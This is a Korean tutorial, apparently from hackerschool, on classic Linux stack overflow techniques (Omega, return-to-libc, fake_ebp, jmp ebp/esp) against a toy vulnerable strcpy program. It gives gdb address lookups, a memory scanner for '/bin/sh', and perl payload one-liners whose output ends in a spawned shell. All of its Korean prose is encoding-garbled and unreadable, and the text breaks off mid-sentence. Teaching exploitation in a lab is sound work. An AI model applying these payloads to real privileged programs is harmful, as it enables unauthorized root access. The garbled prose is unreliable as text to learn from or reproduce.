¦È¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦Â ¦¢ :: Omega,RTL,fake_ebp,jmp ebp,jmp esp µîÀÇ ±â¼ú :: ¦¢ ¦¢ ¦¢ ¦¢ - prosager in research.hackerschool.org ¦¢ ¦¢ pr0z4g3r@hotmail.com ¦¢ ¦Æ¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦Ä ¦¬¦¸¦¬¦¬¦¸¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬ ¦¢¸ñÂ÷¦¢ ¦¦¦¡¦¡¦¥ 0x00. Àâ´ã 0x01. Omega 0x02. RTL 0x03. fake_ebp 0x04. jmp ebp and jmp esp 0x05. ¸¶Ä¡¸ç.. ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ ¦¬¦¸¦¬¦¬¦¬¦¬¦¬¦¸¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬ ¦¢0x00. Àâ´ã¦¢ ¦¦¦¡¦¡¦¡¦¡¦¡¦¥ À̹ø´Þ¿¡´Â ¶Ç ¾î¶°ÇÑ ³»¿ëÀ» ¾µ±î? ÇÏ°í È¥ÀÚ¼­ ¸¹Àº °í¹ÎÀ» ÇÏ°Ô µÇ¾ú½À´Ï´Ù. °á±¹Àº Ç¥Á·ÇÑ »ý°¢Àº ³ªÁö ¾Ê¾ÒÁö¸¸, Áß°£¿¡ beist ´ÔÀÇ È¨ÆäÀÌÁö¿¡ ÀÖ´Â ½É½ÉÇ®ÀÌ ¿ö°×À» Á¤ÈÆÀÌ°¡ Ç®¾î´Þ¶ó´Â ¿äû¿¡ ÀÇÇؼ­, »ðÁúÀ» Çϸ鼭 ¼ø°£ÀûÀ¸·Î ¿À¸Þ°¡, RTL, jmp ebp, jmp esp, fake_ebp ¿Í °°Àº ¸»ÇÏÀÚ¸é, »õ·Î¿î ±â¼úÀÌÁÒ. ÀÌ·± ±â¼úµé¿¡ ´ëÇؼ­ ±âº»ÀûÀÎ Á¤¸®¿Í ´õºÒ¾î °ø°ÝÀ» ½ÃµµÇÏ¿© º¸´Â ±×·± »ý°¢À¸·Î Àû°Ô µÇ¾ú½À´Ï´Ù. °£´ÜÇÑ ¹®¼­ÀÌ´Ï ½±°Ô Àо½Ã°í °³³äÀ» Àâ´Â ÂÊÀ¸·Î »ý°¢ÇϽø鼭 °øºÎÇϴ°ÍÀÌ ÁÁÀ»°Å °°½À´Ï´Ù. ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ ¦¬¦¸¦¬¦¬¦¬¦¬¦¬¦¬¦¸¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬ ¦¢0x01. Omega ¦¢ ¦¦¦¡¦¡¦¡¦¡¦¡¦¡¦¥ (¾Æ·¡ÀÇ ¹®¼­ÀÇ ¸»Åõ´Â Á¶±Ý Àå³­½º·´°Ô ÀûÀº°Çµ¥, ÀÌ ³¯ ±âºÐÀÌ ¾÷µÇ¼­..-_-a ÀÌÇØÇØ Áֽðí ÀоîÁÖ¼¼¿ä~~ ^^) ³­ Á¤È®È÷ ¸»Çؼ­ ¿À¸Þ°¡°¡ ¹ºÁö ¸ð¸¥´Ù. ´ÜÁö ÀÌ·¸°Ô ÇÏ¸é µÇ´Â°Ç°¡? ¶ó´Â ¸·¿¬ÇÑ ±×·± »ý°¢¸¸À» °¡Áö°í ÀÖ°í, ÀÌ·± ¹æ¹ýÀ¸·Îµµ ½© ȹµæÀÌ °¡´ÉÇÏ´Ù..Á¤µµ·Î¸¸ ¾ðÁ¦³ª ÀÌÇØÇÏ°í ÀÖ¾ú´Ù. ±×·¡¼­ ³ª½ºÄ«¿¡°Ô ¸Ç³¯ È¥³ªÁö-_-v ±×·¸Áö¸¸, ³­ ³» ³ª¸§´ë·ÎÀÇ ¿À¸Þ°¡ ±â¹ýÀ» À̾߱â ÇØ º¸·Á°í ÇÑ´Ù. ¿À¸Þ°¡~ ±× À̸§µµ Âù¶õÇÑ ³¡-_-À̶õ ¶æÀε¥.. Á¤¸»·Î ³¡Àϱ? ¿ì¼±, ¿À¸Þ°¡ÀÇ ÀåÁ¡Àº ¿äÁò¿¡ ¸¹ÀÌ Çϴ°Íó·³ \xbf ¸·Àº°Å Åë°úÇϱâ.. ¹öÆÛ ÀÛÀº°Å µ¤¾î¼­ ret ¹Ù²Ù±â(egg ·Î ±×³É ret µ¤¾î ¹Ù²ãµµ µÉ°Çµ¥ »ðÁúÇÏÁö¸»±æ..) ¹¹ ÀÌ·±°Í°ú °°Àºµ¥, ¿À¸Þ°¡°¡ Áß¿äÇÑ ÀÌÀ¯´Â..¿ì¸®°¡ ¿¹Àü¿¡ ¾ËÁö ¸øÇß¾ú´ø, ÇϳªÀÇ °ø°Ý¹æ¹ýÀ» Á¦½ÃÇØ Áֱ⠶§¹®ÀÌ´Ù. ¹Ù·Î system ÇÔ¼ö´Ù! ½Ã½ºÅÛÀº ¿ì¸®°¡ ÇÁ·Î±×·¥À» ½ÇÇà½Ã¿¡ ¾ðÁ¦³ª ¸Þ¸ð¸®¿¡ ¶° ÀÖ´Â ÇÔ¼öÀ̸ç, À§Ä¡ÀÇ º¯ÇÔÀº ¾ø´Ù. ±×·³ ÁøÂ¥·Î ÀÖÀ»±î? ¿ª½Ã ºÁ¾ß ¹Ï°ÚÁö? [prosager@work question]$ gdb -q vuln (gdb) b *main Breakpoint 1 at 0x8048592 (gdb) r Starting program: /home/prosager/question/vuln Breakpoint 1, 0x08048592 in main () (gdb) x/x system 0x40063430 : 0x83e58955 (gdb) ÀÚ À§¿Í °°ÀÌ ÀÖ´Ù. ±×·³ ¿À¸Þ°¡´Â Àú°É ret ¸¦ Àú À§ÀÇ ¼ýÀÚÀÎ 40063430 À¸·Î ¹Ù²Ù¸é? jmp 0x40063430 ÇÒ°ÍÀÌ´Ù. ±×·¯¸é system call~~ Çϴ°ÍÀÌÁã.. ¾î¶ó? ±×·±µ¥ ¹º°¡ ºüÁø°Å °°Áö ¾Ê³Ä? ¿ì¸®°¡ c ¿¡¼­ system ¾µ¶§..¾îÄÉ ½è¾úÁö? system(/bin/sh); ÀÌ´Ù.. ±×·±µ¥ Àú±â ÀÎÀÚ°¡ ¾øÀÚ³×..-0- Å«ÀÏÀ̶ó°í? ¾Æ´ÏÁã...¶Ç /bin/sh µµ µé¾î°¡ ÀÖ´Ù.. ¾îµð¿¡? ¸Þ¸ð¸® ¿µ¿ª¿¡.. ÀÚ µÚÁ®º¸ÀÚ~~ ³»°¡ µÚÁö´Â°Ç »ðÁú Áñ~ À̴ϱñ, ±×³É ã´Â ÇÁ·Î±×·¥ ¸¸µé¾î¼­ µ¹¸®ÀÚ~ ÀÎÅͳݿ¡ ¼Ò½º ¸¹´õ¶ó-_- [prosager@work question]$ cat find.c int main(int argc, char **argv) { long shell; shell = 0x4005e430; while(memcmp((void*)shell,"/bin/sh",8)) shell++; printf("\"/bin/sh\" is at 0x%x\n",shell); } [prosager@work question]$ ./find "/bin/sh" is at 0x4014ed24 ÀÚ À§¿Í °°Àº °á°í°¡ ³ª¿Ô´Ù.. Áï /bin/sh µµ ¸Þ¸ð¸®¿¡ ÀÖ°í, ±×¸®°í system call µµ ¸Þ¸ð¸®¿¡ ÀÖ´Ù, ±×·³ ÀÌÁ¦ ºÎ¸£¸éµÇ°Ú³×. °£´ÜÇÑ Ãë¾à ÇÁ·Î±×·¥°ú ÇÔ²² Å×½ºÆ®~ 0x40063430 system 0x4014ed24 /bin/sh // vuln.c #include #include int main(int argc, char *argv[]) { char buf[4]; strcpy(buf, argv[1]); dumpcode(buf,64); } À§¿Í °°ÀÌ µÇ¾î Àִµ¥, ½ºÅÿ¡ ¾î¶»°Ô µé¾î°¡´ÂÁö °£´ÜÇÏ°Ô ±×·Áº¸ÀÚ [buf][sfp][ret]¿Í °°ÀÌ µÇ¾îÀÖ°í, ¿ì¸®°¡ °ø°ÝÇÒ ¹æ¹ýÀº [AAAA][AAAA][System ÁÖ¼Ò(40063430)][system È£ÃâÈÄÀÇ ret][ÀÎÀÚ(/bin/sh)4014ed24)] ¿Í °°Àº ¹æ¹ýÀ¸·Î °ø°ÝÀ» ½ÃµµÇÒ°ÍÀÌ´Ù. ÀÚ ±×·³ ½ºÅ¸Åõ~ [prosager@work question]$ ./vuln `perl -e 'print "AAAAAAAA\x30\x34\x06\x40aaaa\x24\xed\x14\x40"'` 0xbffffaa4 41 41 41 41 41 41 41 41 30 34 06 40 61 61 61 61 AAAAAAAA04.@aaaa 0xbffffab4 24 ed 14 40 00 fb ff bf 2c 58 01 40 02 00 00 00 $..@....,X.@.... 0xbffffac4 e4 82 04 08 00 00 00 00 05 83 04 08 92 85 04 08 ................ 0xbffffad4 02 00 00 00 f4 fa ff bf cc 85 04 08 fc 85 04 08 ................ sh-2.05b$ exit ¼¼±×¸àÅ×ÀÌ¼Ç ¿À·ù [prosager@work question]$ ÀÚ~ À§¿Í °°ÀÌ ½©À» ȹµæÇÏ°Ô µÇ¾ú´Ù. ¿©±â¼­ Àá½Ã º¸Ãæ¼³¸íÀ» Çϸé, system ÈÄ¿¡ ¼¼±×°¡ ³ª°Ô µÇ´Âµ¥ ±× ÀÌÀ¯´Â ¹Ù·Î À§¿¡¼­ º¸¸é, [system È£ÃâÈÄÀÇ ret] ÀÇ À§Ä¡¿¡ aaaa ¸¦ ³Ö¾ú´Ù. ±×·¸±â ¶§¹®¿¡ system ÈÄ¿¡ ret À§Ä¡¿¡´Â 41414141 ÀÌ µé¾î°¡ ÀÖÀ¸´Ï, ´ç¿¬È÷ ¼¼±×°¡ ³ª°Ô µÇ´Â°ÍÀÌ´Ù. ÇÏÁö¸¸ ¹®Á¦Á¡Àº redhat 9 ÀÌÈÄ¿¡´Â setreuid °¡ ÇÊ¿äÇÏ´Ù´Â Á¡ÀÌ´Ù, ÀÌ ºÎºÐ¿¡ ´ëÇؼ­´Â worm ´ÔÀÌ ½á ³õÀ¸¼ÌÀ¸´Ï ÀÚ¼¼È÷ Âü°í ¹Ù¶ø´Ï´Ù. ¾ÆÁÖ °£´ÜÇÏ°Ô, setreuid call À» system ¾Õ¿¡ ³Ö¾îÁָ鼭 ÇÏ¸é µÉµí Çϳ׿ä~ ÀÌ ºÎºÐÀº °¢ÀÚ Çغ¸¼¼¿ä~ °£´ÜÇÒµí Çϳ׿ä. ÀÌ°ÍÀ¸·Î ¿À¸Þ°¡ ³¡~! ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ ¦¬¦¸¦¬¦¬¦¬¦¬¦¬¦¸¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬ ¦¢0x02. RTL ¦¢ ¦¦¦¡¦¡¦¡¦¡¦¡¦¥ ÀÌÁ¦ Return-To-Lib Â÷·ÊÀÌ´Ù, ÀÌ ¹æ¹ýÀÇ Æ¯Â¡À̶ó°í ¸»ÇÒ¼ö Àִ°ÍÀº, ¿ª½Ã³ª ¿©·¯°¡Áö Á¦¾àÁ¶°ÇÀûÀÎ »óȲÀ» ÇØ°áÇÒ¼ö ÀÖ´Ù´Â Á¡À» µé¼ö ÀÖ°Ú´Ù. ±×¸®°í Ư¡Àº ¿ì¸®°¡ gdb ¸¦ ÀÌ¿ëÇؼ­ ÄÄÆÄÀÏµÈ ÆÄÀÏÀÇ µ¿Àû ÇÒ´ç¸Þ¸ð¸® ¿µ¿ªÀ¸·Î jmp ½ÃÅ°´Â °ÍÀÌ °¡´ÉÇÏ´Ù´Â ¸»ÀÌ´Ù. ±×·¸°Ô ÇÔÀ¸·Î¼­ ¿ì¸®´Â ÇÁ·Î±×·¥³»ÀÇ flow ¸¦ ¹Ù²Ü¼ö ÀÖ´Ù. ±×·³ ¾Æ·¡ÀÇ ¿¹Á¦¸¦ º¸¸é¼­ Çϳª¾¿ ¼³¸íÇØ º¸µµ·ÏÇÏÀÚ. // rtl.c void func1(){ printf("func1\n"); } void func2(){ printf("func2\n"); } int main(int argc, char* argv[]){ char buf[4]; strcpy(buf, argv[1]); printf("buf: %s\n", buf); } ±âº» ¼Ò½º´Â vuln.c ¿Í °°Áö¸¸, À§ÀÇ func1,2 °¡ ÀÖ´Ù´Â °ÍÀÌ ´Ù¸£°í, ¿ì¸®´Â ret ¸¦ func1 ÀÌ °¡¸£Å°´Â Àå¼Ò·Î º¯°æÇÏ¿© ÁÙ°ÍÀÌ´Ù. ÀÚ~ ½ºÅ¸Æ®~ 0x0804835c : push %ebp 0x08048374 : push %ebp 0x4004c8d0 : 0x57e58955 ±×·³ ÀÌÁ¦ Àú Äڵ带 ÀÌ¿ëÇؼ­ °ø°ÝÀ» ÇÏ¿© º¸°Ú½À´Ï´Ù~ [prosager@work question]$ ./rtl `perl -e 'print "AAAAAAAA\x5c\x83\x04\x08\x74\x83\x04\x08\xd0\xc8\x04\x40"'` buf: AAAAAAAAÐÈ@ func1 func2 [prosager@work question]$ ./rtl `perl -e 'print "AAAAAAAA\x74\x83\x04\x08\x5c\x83\x04\x08\xd0\xc8\x04\x40"'` buf: AAAAAAAAÐÈ@ func2 func1 ÀÚ, À§¿Í °°ÀÌ ³ª¿À°Ô µÇ¾ú½À´Ï´Ù, Àú ¸»Àº...Áï.. ¿ì¸®°¡ ¿øÇÏ´Â À§Ä¡ÀÇ ¶óÀ̺귯¸®·Î jmp ¸¦ ½ÃÄѼ­ flow ¸¦ ¹Ù²Ü¼ö ÀÖ°Ô ÇØ Áشٴ ¸»ÀÌ µË´Ï´Ù. Áï ¼Ò½ºÄÚµå ³»¿¡¼­ ¿øÇÏ´Â ºÎºÐÀ¸·Î jmp °¡´ÉÇÏ´Ù´Â ¸»ÀÌÁÒ~ ÀÎÀÚ¸¦ ³Ö¾îÁÖ´Â ¹æ¹ýÀº worm ´ÔÀÌ ¾²½Å ¹®¼­¿¡ º¸½Ã¸é ³ª¿À°Ô µË´Ï´Ù. °£´ÜÇÏ°Ô Àú´Â °³³ä¸¸ Á¤¸®ÇÏ´Â ¹æ½ÄÀ̱⠶§¹®¿¡ ÀÎÀÚ¸¦ ³Ö´Â ¹æ¹ýÀº ¾È ´Ù·ç°Ú½À´Ï´Ù ÇÏÁö¸¸ ´Ü¼øÇÏ°Ô, ebp+4 À§Ä¡¿¡ ³Ö¾îÁÖ¸é ÀÎÀÚ°¡ ³Ñ¾î°¡°Ô µË´Ï´Ù. ±×·³ ÀÌ°ÍÀ¸·Î °£´ÜÇÏ°Ô RTL ±â¹ýÀÇ Çؼ®Àº ³¡ÀÔ´Ï´Ù.^^ ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ ¦¬¦¸¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¸¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬ ¦¢0x03. fake_ebp ¦¢ ¦¦¦¡¦¡¦¡¦¡¦¡¦¡¦¡¦¡¦¥ ÀÚ..ÀÌÁ¦ fake_ebp ¶ó´Â ±â¹ý¿¡ ´ëÇؼ­ ¾Ë¾Æº¼ Â÷·ÊÀÌ´Ù.. ÀÌ ±â¹ýÀº RTL ÀÇ ÇϳªÀÇ È®Àå ¿µ¿ªÀ̶ó°í º¸¸é ÁÁÀ»°ÍÀÌ´Ù. RTL ¿¡¼­ ¿ì¸®´Â ¿øÇÏ´Â ¶óÀ̺귯¸®ÀÇ À§Ä¡¿¡ jmp ½Ãų¼ö ÀÖ´Ù´Â Á¡À» ¹è¿ì°Ô µÇ¾úµû. ±×·³ ÀÌÁ¦ ¿ì¸®°¡ ¼Ò½ºÄÚµå Áß°£ÀÇ for ¹®À̳ª ÀÌ·±°÷À¸·Î jmp Çϴ°ÍÀº ¾î·Æ´Ù´Â°ÍÀ» °£´ÜÇÏ°Ô ¾Ë¼ö ÀÖÀ»°ÍÀÌ´Ù, ebp, ¿Í °°Àº ¹®Á¦¶§¹®¿¡ ¼¼±×°¡ ³ª°Ô µÉ°ÍÀÌ´Ù. ÇÏÁö¸¸, leaveret ÀÇ À§Ä¡·Î jmp ½ÃÅ°°í, sfp ¿¡ ¿ì¸®°¡ ¿øÇÏ´Â ¹®ÀÚ¿­À» ³ÖÀ¸¸é? ÀÌ·± »ý°¢À» ¹ß´ÜÀ¸·Î ÀÌ °ø°Ý±â¹ýÀ» ½ÃµµÇÏ¿© º¸¸é ÁÁ°Ú´Ù, ¿ì¼±ÀûÀÎ °¡»ó½Ã³ª¸®¿À´Â [buf] [sfp] [ret] [egg ret] [fake_ebp == buf addr -4] [leaveret lib addr] ÀÚ..À§¿Í °°ÀÌ °ø°ÝÀ» Çϴµ¥ ±× ÀÌÀ¯´Â, ¿ì¸®°¡ ³ÖÀº fake_ebp ÀÇ À§Ä¡¿¡ µé¾î°£ ÁÖ¼Ò´Â leave;ret ¸¦ °ÅÄ¡¸é¼­ buf addr ÀÌ °¡¸£Å°´Â ÁÖ¼Ò(egg ÁÖ¼Ò) ·Î jmp ÇÏ°Ô µÇ¸é¼­ ¿ì¸®°¡ ¿øÇÏ´Â ½©À» °¡Áú¼ö ÀÖ°Ô µÇ´Â °ÍÀÌ´Ù. ±×·³ °£´ÜÇÏ°Ô 1¹ø¿¡¼­ ½è¾ú´ø vuln.c ÆÄÀÏÀ» ÀÌ¿ëÇؼ­ °ø°ÝÀ» ÇÏ¿©º¸ÀÚ. ÇÊ¿äÇÑ ÁÖ¼Ò¸¦ ã´Â ¹æ¹ý±îÁö ÀüºÎ´Ù ³ª¿­ÇÏ¿© º¸°Ú´Ù. //vuln.c #include #include int main(int argc, char *argv[]) { char buf[4]; strcpy(buf, argv[1]); dumpcode(buf,64); } [prosager@work question]$ ./wg_egg 0xbffffc01 ¿¡Ç𠽩 ¶ç¿ó´Ï´Ù! 0x080485ca : leave [prosager@work question]$ ./vuln `perl -e 'print "AAAAAAAA\x01\xfc\xff\xbf\c0\xee\xff\xbf\xca\x85\x04\x08"'` 0xbfffeec4 41 41 41 41 41 41 41 41 01 fc ff bf 70 ee ff bf AAAAAAAA....p... 0xbfffeed4 ca 85 04 08 00 ef ff bf 2c 58 01 40 02 00 00 00 ........,X.@.... 0xbfffeee4 e4 82 04 08 00 00 00 00 05 83 04 08 92 85 04 08 ................ 0xbfffeef4 02 00 00 00 14 ef ff bf cc 85 04 08 fc 85 04 08 ................ sh-2.05b$ ÀÚ..À§¿Í °°ÀÌ ½©ÀÌ ¶ß°Ô µÇ¾ú´Ù!! ÀÌ ¹æ¹ýÀº Å©°Ô ¾î·ÆÁöµµ ¾Æ´ÏÇϸ鼭, °£´ÜÇÏ°Ô ½©À» ¶ç¿ï¼ö ÀÖ´Ù´Â Á¡ÀÌ Áß¿äÇÏ´Ù.. ¾îµð¿¡ ½á¸ÔÀ»¼ö ÀÖÀ»Áö´Â ¸ð¸£°ÚÀ¸³ª~ RTL ÀÇ ´Ù¸¥ ÇÑ ¹æ¹ýÀ¸·Î¼­ ÇÔ¼ö¸¦ ÀÌ¿ëÇÑ °ø°ÝÀÌ ¾Æ´Ñ, leave;ret ¸¦ ÀÌ¿ëÇÑ °ø°Ý¹æ¹ýÀÌ´Ï ¾Ë¾ÆµÎ´Â°ÍÀÌ ÁÁÀ»°Í °°´Ù..¿ÀÄÉ~ ´ÙÀ½! ¿©±â¼­ ºÎ°¡ ¼³¸íÇϳª ´õ ÇÏ°Ú½À´Ï´Ù leave;ret ÀÇ È¿°ú¸¦ ÀÚ¼¼È÷ Á¶±Ý Àû¾îÁÙ ÇÊ¿ä°¡ ÀÖ´Ù°í Çϳ׿ä..¸ð¸£½Ã´Â ºÐµéÀ» À§Çؼ­ mov ebp,esp pop ebp mov esp,eip jmp eip À§ÀÇ 4°¡ÁöÀÇ ¼ø¼­·Î leave;ret °¡ ÁøÇàµÇ±¸¿ä, esp ¿¡ ebp ¸¦ ³Ö±¸¿ä, ±× ´ÙÀ½À¸·Î ebp ¸¦ ²¨³»°Ô µË´Ï´Ù, ±×·³ esp-4 °¡ ret ¸¦ °¡¸£Å°°Ô µË´Ï´Ù. ±×¸®°í ±×°ÍÀ» eip ¿¡ ³Ö°í jmp ~ ÀÌ°Ô leave;ret ÀÇ »ç¿ë¹ýÀ̾ú½À´Ï´Ù. ÀÌ°ÍÀ» »ý°¢ÇϽø鼭 º¸½Ã¸é, ½±°Ô ÀÌÇØ°¡ µÉ°Å °°³×¿ä..^^ ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ¡Õ ¦¬¦¸¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¸¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬ ¦¢0x04. jmp ebp and jmp esp ¦¢ ¦¦¦¡¦¡¦¡¦¡¦¡¦¡¦¡¦¡¦¡¦¡¦¡¦¡¦¡¦¥ Áö±ÝÀº mutacker ´ÔÀÌ ¾²½Å ¹®¼­µéÀÌ ¸¹ÀÌ ÀÐÈ÷°í Àִµ¥, ¿¹ÀüÀÇ ÀúÈñ°¡ ¸ùÀÌ´ÔÀÇ ¹®Á¦¿¡¼­ ½á ¸Ô¾ú¾ú´ø jmp ebp, jmp esp ±â¼úµéÀ» ¼­¼úÇÏ¿© º¸·Á°í ÇÕ´Ï´Ù ±×¶§ ÇÑÂü RPC DCOM ¹ö±×°¡ ³ª¿ÔÀ»¶§ ÀÌ ±â¼úµéÀÌ ³ª¿Ô´ø°ÍÀ¸·Î ±â¾ïÇÕ´Ï´Ù. ÀÌ ±â¼úÀº fake ebp ¿Í´Â ¾à°£Àº ´Ù¸¥ ¹æ½ÄÀÇ Á¢±ÙÀ»ÇÏÁö¸¸, ret ÁÖ¼Ò¸¦ ÀÌ¿ëÇÑ º¯Á¶ ±×¸®°í jmp ÇÏ´Â ¹æ¹ý¿¡¼­´Â °°Àº ¸Æ¶ôÀÔ´Ï´Ù, ÇÏÁö¸¸ °ø°Ý ¹æ½Ä¿¡ ´ëÇؼ­´Â ´Ù½Ã Çѹø È®½ÇÇÏ°Ô º¸¿© µå¸®°Ú½À´Ï´Ù.^^ ¿ì¼± °¡»óÀÇ °ø°Ý ½Ã³ª¸®¿À¸¦ Â¥°í, °ø°ÝÀ» ÇÏ°Ú½À´Ï´Ù. ±âº»ÀûÀÎ °ø°Ý ÄÚµå´Â vuln.c ¸¦ »ç¿ëÇÕ´Ï´Ù. //vuln.c #include #include int main(int argc, char *argv[]) { char buf[4]; strcpy(buf, argv[1]); dumpcode(buf,64); } ¿©±â¼­ ½ºÅÿ¡´Â Àß ¾Ë´Ù½ÃÇÇ [buf] [sfp] [ret] ÀÌ·± ¸ð¾çÀÌ µÇ±¸¿ä, ¿ì¸®°¡ °ø°ÝÇÒ ½Ã³ª¸®¿À´Â [nop nop jmp ebp] [egg shell addr] [buf addr] ÀÌ·¸°Ô µË´Ï´Ù, °ø°ÝÀÇ ½Ã³ª¸®¿À´Â, buf À§Ä¡°¡ °¡¸£Å°´Â °ÍÀ» ½ÇÇàÇÏ°Ô µË´Ï´Ù ±× Äڵ尡 jmp ebp ÄÚµåÀ̹ǷÎ, ebp ¿¡ µé¾î°¡ ÀÖ´Â egg_shell_addr ·Î Á¡ÇÁÇؼ­ ±× Äڵ带 ½ÇÇàÇÏ¿©¼­ egg ½©À» ȹµæÇÑ´Ù~ ¶ó°í ÇÏ´Â °ø°ÝÀÇ ¹æ¹ýÀÔ´Ï´Ù. ½±ÁÒ? ^^ ÇÏÁö¸¸ ¿©±â¼­ ¹®Á¦Á¡ÀÌ jmp ebp ÀÇ asem Äڵ带 ¸ð¸¥´Ù~ ¶ó´Â °ÍÀÔ´Ï´Ù ±×·²°æ¿ì¸¦ ´ëºñÇÏ¿©¼­ °£´ÜÇÏ°Ô ÀúÈñ°¡ ÇÊ¿äÇÑ asem Äڵ带 °£´ÜÇÏ°Ô Â¥ º¸¾Ò½À´Ï´Ù. // jmp.s .globl main main: jmp *%ebp jmp *%esp leave ret À§ÀÇ Äڵ带 ÄÄÆÄÀÏ ÇÏ°í , objdump ·Î ÇÊ¿äÇÑ Äڵ带 ã½À´Ï´Ù. 080482f4
: 80482f4: ff e5 jmp *%ebp 80482f6: ff e4 jmp *%esp 80482f8: c9 leave ÀÚ, À§¸¦ º¸½Ã¸é, jmp ebp ´Â ff e5 ¿Í °°ÀÌ ³ª¿É´Ï´Ù ±×·³ ¿ì¸®°¡ ±¸¼ºÇÒ buf ¿¡´Â [\x90\x90 \xff \xe5] ¿Í °°Àº °ø°ÝÄڵ尡 µé¾î°¥ °ÍÀÔ´Ï´Ù, ±×·³ °ø°ÝÀ» ÇÏ¿© º¾½Ã´Ù.^^ [prosager@work question]$ ./wg_egg 0xbffffc01 [prosager@work question]$ ./vuln `perl -e 'print "\x90\x90\xff\xe5\x01\xfc\xff\xbf\xd4\xee\xff\xbf"'` 0xbfffeed4 90 90 ff e5 01 fc ff bf d4 ee ff bf 00 00 00 00 ................ 0xbfffeee4 24 ef ff bf 30 ef ff bf 2c 58 01 40 02 00 00 00 $...0...,X.@.... 0xbfffeef4 e4 82 04 08 00 00 00 00 05 83 04 08 92 85 04 08 ................ 0xbfffef04 02 00 00 00 24 ef ff bf cc 85 04 08 fc 85 04 08 ....$........... sh-2.05b$ ÀÚ, ¼º°øÇß´Ù, À§¿Í °°ÀÌ, [nopnop+jmp ebp] [egg addr] [buf addr] °ú °°Àº °ø°ÝÀ¸·Î ½©À» ȹµæÇÏ¿´´Ù..^^ ´Ù¸¥ ¹æ¹ýÀÎ jmp esp ¿¡ ´ëÇؼ­ ¾Ë¾Æº¸ÀÚ, jmp esp ¿Í jmp ebp ÀÇ ´Ù¸¥Á¡Àº ¹»±î? ´Ü¼øÇÏ´Ù-_-, esp ¿Í ebp ÀÇ Â÷ÀÌÁ¡ÀÎ °ÍÀÌ´Ù, ±×·±µ¥ ¿©±â¼­ Áß¿äÇÑ Á¡Àº ¿ì¸®°¡ ¿øÇÏ´Â fake ebp ¿¡¼­ ó·³ ebp °ªÀ» ¹Ù²Ü¼ö´Â Àִµ¥ esp ÀÇ °ªÀº ¹Ù²Ü¼ö°¡ ¾ø´Ù´Â ¹®Á¦Á¡ÀÌ ¹ß»ýÇÑ´Ù ´«Ä¡ ºü¸¥ »ç¶÷Àº À§ÀÇ jmp.s Äڵ忡¼­ leave º¸°í ¾Ë¾Ò°ÚÁö¸¸.. leave ´Â mov %ebp,%esp Ä¿¸Çµå¸¦ ½ÇÇàÇÏ¿©¼­, ebp °ªÀ» esp À¸·Î ³Ö¾îÁÖ´Â ¿ªÈ°ÀÌ ÀÖ´Ù ±×·¯¸é °£´ÜÇÏ´Ù À§ÀÇ °ø°Ý¹ý¿¡¼­ leave ¸¸ Ãß°¡ ½ÃÅ°¸é µÇ´Â 